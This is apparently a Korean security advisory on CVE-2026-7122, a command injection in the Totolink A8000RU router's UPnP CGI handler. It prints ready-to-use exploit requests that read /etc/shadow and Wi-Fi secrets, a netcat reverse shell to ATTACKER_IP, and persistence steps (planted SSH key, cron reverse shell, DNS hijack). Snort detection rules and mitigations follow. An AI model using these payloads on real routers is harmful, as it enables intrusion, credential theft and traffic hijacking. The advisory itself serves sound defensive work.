/CVE 분석/cve-2026-7122
CRITICALCVSS 9.82026-04-27

CVE-2026-7122: Unknown (CVSS 9.8)

A vulnerability has been found in Totolink A8000RU 7.1cu.643_b20200521. This impacts the function setUPnPCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the arg...

#명령어주입#CRITICAL

기본 원리: OS 명령 주입 (OS Command Injection)이란

OS 명령 주입(OS Command Injection)은 웹 애플리케이션이나 네트워크 장치가 사용자로부터 입력받은 데이터를 시스템의 운영체제(OS) 명령어로 사용될 때, 해당 입력 값에 대한 적절한 검증이나 필터링이 이루어지지 않아 발생하는 심각한 보안 취약점입니다. 공격자는 이 취약점을 이용해 장치의 운영체제에서 임의의 명령어를 실행할 수 있게 됩니다.

이 취약점은 주로 웹 서버 스크립트(CGI, PHP, ASP 등)나 장치 펌웨어에서 사용자 입력을 받아 system(), exec(), shell_exec()와 같은 함수를 통해 직접 OS 셸 명령어를 실행할 때 발생합니다. 예를 들어, ping 명령어를 실행하는 기능이 ping -c 4 <사용자_입력_IP> 형태로 구현되어 있다고 가정해봅시다. 이때 공격자가 192.168.1.1; ls -al / 와 같이 입력하면, ping -c 4 192.168.1.1이 실행된 후 ls -al / 명령도 함께 실행되어 버립니다.

취약점 상세

CVE-2026-7122는 Totolink A8000RU 라우터의 UPnP 설정 기능에서 발견된 OS 명령 주입 취약점입니다.

항목 내용
영향 장치 Totolink A8000RU 7.1cu.643_b20200521
취약 파일 /cgi-bin/cstecgi.cgi
취약 함수 setUPnPCfg
취약 파라미터 enable
공격 벡터 네트워크 (원격), 인증 불필요
CVSS 점수 9.8 (CRITICAL)

setUPnPCfg 함수는 라우터의 UPnP(Universal Plug and Play) 기능 설정을 처리합니다. UPnP는 네트워크 장치들이 자동으로 상호 발견하고 포트 포워딩 등의 기능을 동적으로 설정할 수 있게 해주는 프로토콜입니다. UPnP 활성화 여부를 나타내는 enable 파라미터가 OS 명령에 직접 전달되어 검증 없이 실행됩니다.

공격 시나리오

공격 전제 조건

  • 대상 라우터에 네트워크 접근 가능 (LAN 또는 WAN)
  • 펌웨어 버전 7.1cu.643_b20200521 사용 중

개념적 공격 코드

1단계: 기본 명령 실행 확인

GET /cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;id HTTP/1.1
Host: [대상_라우터_IP]

응답에 uid=0(root) 포함 여부 확인.

2단계: 파일 시스템 탐색

GET /cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;ls%20-al%20/ HTTP/1.1
Host: [대상_라우터_IP]

URL 디코딩: enable=1;ls -al / → 루트 디렉토리 목록 출력.

3단계: 민감한 파일 읽기

# passwd 파일 읽기
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/passwd"

# shadow 파일 읽기 (root 계정 해시 탈취)
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/shadow"

# Wi-Fi 설정 (SSID/비밀번호) 탈취
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/config/wireless"

4단계: 리버스 쉘 연결

# 공격자 서버에서 먼저 리스너 실행
nc -lvnp 4444

# 그 후 라우터에 다음 요청 전송
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;nc%20ATTACKER_IP%204444%20-e%20/bin/sh"

5단계: 지속성 확보 리버스 쉘 획득 후:

# 공격자의 SSH 키 등록
echo "ssh-rsa ATTACKER_PUBLIC_KEY" >> /etc/authorized_keys

# 크론 작업 추가 (주기적 리버스 쉘)
echo "*/5 * * * * nc ATTACKER_IP 4444 -e /bin/sh" >> /etc/crontab

# 라우터 DNS 변경 (피싱 공격)
uci set network.wan.dns='ATTACKER_DNS_IP'
uci commit network
/etc/init.d/network restart

공격 가능한 피해 시나리오

  • 모든 네트워크 트래픽 도청 (HTTP 평문, DNS 등)
  • DNS 하이재킹으로 인터넷뱅킹/SNS 계정 탈취
  • 내부망 모든 장치로 피벗팅
  • 봇넷 에이전트 설치 (DDoS, 암호화폐 채굴 등)

탐지 방법

IDS/IPS 시그니처

# Snort/Suricata 규칙
alert http any any -> $HOME_NET any (
  msg: "CVE-2026-7122 setUPnPCfg Command Injection";
  content: "setUPnPCfg";
  content: "enable=";
  pcre: "/enable=[^&\s]*[;|&]/";
  sid: 20267122; rev:1;
)

시스템 이상 징후 탐지

  • /proc/net/tcp에서 예상치 못한 외부 연결 확인
  • ps 명령으로 비정상적인 프로세스 확인 (netcat, wget, curl 실행)
  • /tmp 디렉토리의 새로운 파일 생성 모니터링
  • 라우터 DNS 설정 변경 여부 주기적 점검

대응 방법

즉각적인 조치

1. 펌웨어 업데이트 Totolink 공식 지원 페이지에서 CVE-2026-7122가 수정된 최신 펌웨어를 확인하고 업데이트합니다.

2. 원격 관리 비활성화

  • 라우터 관리 패널 → 원격 관리 설정 → 비활성화
  • WAN 측 HTTP/HTTPS 접근 차단

3. 방화벽 규칙 강화 라우터 관리 포트를 내부 신뢰 IP만 접근하도록 제한합니다.

장기적 보안 전략

  • 취약한 장치를 최신 보안 기능이 탑재된 장치로 교체 검토
  • 정기적인 네트워크 장치 취약점 스캔 프로세스 수립
  • IoT 보안 정책 및 수명 주기 관리 체계 구축
  • 네트워크 세그멘테이션으로 라우터 침해 시 피해 범위 최소화

참고 자료